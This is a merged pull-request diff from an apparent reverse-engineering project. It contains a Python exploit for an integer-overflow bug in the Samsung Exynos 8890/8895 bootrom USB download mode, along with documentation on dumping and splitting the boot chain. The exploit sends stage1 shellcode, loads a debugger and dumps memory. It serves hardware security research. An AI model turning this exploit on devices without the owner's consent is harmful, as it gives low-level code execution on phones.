Merge pull request 'altered-script-flow' (#1) from altered-script-flow into main

Reviewed-on: #1
This commit is contained in:
Jonathan Herrewijnen 2024-08-09 20:21:42 +00:00
commit cf83b3d34e
4 changed files with 189 additions and 88 deletions

View File

@ -1,6 +1,8 @@
.. _boot-chain-label:
=======
Booting
=======
After exploitation the goal is to fully boot the device.
Current boot chain:
@ -10,14 +12,20 @@ Current boot chain:
Boot chain
As done by Frederic, the bootrom can be dumped using his provided scripts, and can the be split into different boots:
.. code-block:: bash
./exynos-usbdl e payloads/Exynos8890_dump_bootrom.bin dumped_sboot.bin
scripts/split-sboot-8890.sh dumped_sboot.bin
debugger
========
Some other information about the debugger and it's current state.
bl1
===
Loads at address ``0x02024000`` and contains some form of header.
Loads at address ``0x02024000`` and contains some form of header (ramdump).
There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary.
In this case this entry is ``+0x10`` so we jump to ``0x02024010``.

View File

@ -15,12 +15,40 @@ Samsung Firmware
----------------
Samsung releases firmware files for their devices. These files contain the bootloader, modem, and other firmware files.
To see how the ROM works we are interested in the sboot firmware, which contains multiple stages of the bootloader.
To extract the sboot.bin file from a samsung firmware file:
.. code-block:: bash
$ unzip -p firmware.zip 'BL_*.tar.md5' | tar -Oxf - 'sboot.bin.lz4' | lz4 -d - sboot.bin
Frederic has also written a payload to extract the sboot.bin file from a connected samsung device (See: :ref:`boot-chain-label`). The extracted boots can be split up in different stages. We're provied with sboot 1-4.bin. Running strings then provides us with some information about each stage.
.. code-block:: bash
$ strings -n4 sboot.bin.1.bin
was
.. list-table:: bootrom stages
:header-rows: 1
* - File
- Strings output
- Likely boot stage?
* - sboot.bin.1.bin
- Exynos BL1
- BL1
* - sboot.bin.2.bin
- BL31 %s
- BL31
* - sboot.bin.3.bin
- Unsure. Contains strings like: TOP_DIV_ACLK_MFC_600 and APOLLO_DIV_APOLLO_RUN_MONITOR
- BL2?
* - sboot.bin.4.bin
- Contains more textual information, and references to post BL2 boot, and android information
- Kernel boot/BL33?
Memory Layout
-------------
TODO make memory layout of ROM, IMEM and some devices @JONHE

View File

@ -5,7 +5,7 @@
"version": "0.2.0",
"configurations": [
{
"name": "Debug exploit",
"name": "Debug usb stack",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
@ -13,13 +13,21 @@
"args": ["--debug"]
},
{
"name": "Run chain",
"name": "Run boot chain",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": []
},
{
"name": "Debug current file",
"type": "debugpy",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal",
"justMyCode": false,
}
]
}

View File

@ -1,4 +1,3 @@
import usb.util, usb.core
import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import *
from capstone import *
@ -6,6 +5,7 @@ from ghidra_assistant.utils.utils import *
from ghidra_assistant.concrete_device import *
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
from qiling.const import QL_ARCH
import os, tqdm, datetime
def p32(x):
return struct.pack("<I", x)
@ -45,6 +45,9 @@ ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
class ExynosDevice():
"""
Class to exploit a Exynos device (8890/8895) using the USB stack.
"""
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
"""Init with vendor/product IDs"""
@ -54,8 +57,9 @@ class ExynosDevice():
self.connect_device()
def connect_device(self):
"""Wait for proper connection to the device"""
"""Setup proper connection, and ensure the connection is alive"""
self.context = usb1.USBContext()
while True:
self.handle = self.context.openByVendorIDAndProductID(
vendor_id=self.idVendor,
@ -65,7 +69,16 @@ class ExynosDevice():
if self.handle == None:
continue
break
print(f"Connected device! {self.idVendor} {self.idProduct}")
try:
self.handle.getDevice().getSerialNumber()
except Exception as e:
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
print("Device disconnected / not connected. Reconnect USB?")
sys.exit(0)
else:
raise e
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
def write(self, data):
transferred = ctypes.c_int()
@ -80,10 +93,7 @@ class ExynosDevice():
return transferred.value
def test_bug_2(self):
'''
Interger overflow in last packet if reamining size is 1.
'''
"""Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
@ -98,8 +108,6 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
pass
def test_bug(self):
# Start by sending a valid packet
@ -116,6 +124,7 @@ class ExynosDevice():
print('Bug probably available')
sys.exit(0)
def send_normal(self, payload):
'''
TODO not working
@ -131,6 +140,8 @@ class ExynosDevice():
'''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
'''
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int()
@ -140,6 +151,7 @@ class ExynosDevice():
max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
@ -209,7 +221,65 @@ class ExynosDevice():
#Overwrite all calls to make the concrete target function properly
concrete_device.copy_functions()
def setup_debugger(self):
def usb_debug(self):
"""
Function to debug USB behaviour. Sends and receives data in continuous flow.
"""
transferred = ctypes.c_int()
# Send some data
count = 0
def _send_data():
transferred.value = 0
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, f"Error sending data ({res})"
def _recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, f"Error receiving data ({res})"
hexdump(buf.raw)
# Should have received some bytes
while True:
_send_data()
_recv_data()
count += 1
def dump_memory(self, start: hex=0x0, end: hex=0x0206ffff, write=False):
"""
Dumps memory from the device.
Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
"""
# NOT WORKING YET
transferred = ctypes.c_int()
dumped = b""
# Read data from memory
for block in tqdm.tqdm(range(start, end, 0x200)):
self.usb_write(p32(block-0x200))
res = self.usb_read(0x200)
dumped += res
if write:
filename = f"dump_{hex(start)}_{hex(end)}_{self.target}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.bin"
with open(filename, "wb") as f:
f.write(dumped)
return dumped
# transferred = ctypes.c_int()
# stack_pointer = 0x02021810
# for block in range(0x2020000, 0x2200000, 0x200):
# stack_pointer += 0x200
# dumped += self.cd.memdump_region(block, 0x200)
def setup_guppy_debugger(self):
"""
Sets up guppy debugger on the device itself.
"""
def _setup_debugger():
'''
Setup the debugger as a concrete device
'''
@ -217,6 +287,32 @@ class ExynosDevice():
self.cd.dev = self.setup_concrete_device(self.cd)
self.cd.test_connection()
def _initial_run_debugger():
"""Write debugger to device and test basic functionality"""
if os.getenv("USER") == "eljakim":
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
else:
try:
debugger = open("../../dump/debugger.bin", "rb").read()
except Exception as e:
print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
sys.exit(0)
debugger += ((0x2000 - len(debugger)) * b"\x00")
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
for block in range(0, len(debugger), 0x200):
self.usb_write(debugger[block:block+0x200])
# time.sleep(.5) # Wait a little bit
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
# Test basic functionality
self.usb_write(b"PING")
r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}"
_initial_run_debugger()
_setup_debugger()
def dumb_interact(self):
'''
Room for playing around with the debugger
@ -227,7 +323,14 @@ class ExynosDevice():
def relocate_debugger():
# Seems to be cleared upon cache clearing??
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
if os.getenv("USER") == "eljakim":
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
else:
try:
debugger_reloc = open("../../dump/debugger.bin", "rb").read()
except Exception as e:
print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
sys.exit(0)
self.cd.memwrite_region(0x020c0000, debugger_reloc)
self.usb_write(b"FLSH") # Flush cache
self.cd.restore_stack_and_jump(0x020c0000)
@ -261,8 +364,13 @@ class ExynosDevice():
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def memdump_try():
self.cd.arch_dbg.state.LR = 0x020200e8
self.cd.restore_stack_and_jump(0x02021810)
stack_pointer = 0x02021810
dumped = b""
for block in range(0x2020000, 0x2200000, 0x200):
stack_pointer += 0x200
self.cd.arch_dbg.state.print_ctx()
print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
@ -291,6 +399,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02021810)
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl31)
jump_bl31()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
@ -303,76 +412,24 @@ class ExynosDevice():
#authenticate it
pass
def run_boot_chain(self):
stage1 = open("stage1/stage1.bin", "rb").read()
self.exploit(stage1)
def run_debugger():
# TODO, hardcoded path
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
debugger += ((0x2000 - len(debugger)) * b"\x00")
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
for block in range(0, len(debugger), 0x200):
self.usb_write(debugger[block:block+0x200])
# time.sleep(.5) # Wait a little bit
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
# Test basic functionality
self.usb_write(b"PING")
r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}"
run_debugger()
self.setup_debugger()
self.dumb_interact()
def usb_debug():
'''
Function to debug USB behavior
'''
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
exynos = ExynosDevice()
exynos.exploit(shellcode)
transferred = ctypes.c_int()
# Send some data
count = 0
def send_data():
transferred.value = 0
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, "Error sending data"
def recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, "Error receiving data"
hexdump(buf.raw)
pass
# Should have received some bytes
while True:
send_data()
recv_data()
count += 1
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
# Debug mode
args = arg.parse_args()
if args.debug:
usb_debug()
sys.exit(0)
exynos = ExynosDevice()
exynos.run_boot_chain()
if args.debug:
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
exynos.exploit(shellcode)
exynos.dump_memory(write=True)
# exynos.usb_debug()
sys.exit(0)
stage1 = open("stage1/stage1.bin", "rb").read()
exynos.exploit(stage1)
exynos.setup_guppy_debugger()
exynos.dumb_interact()
sys.exit(0)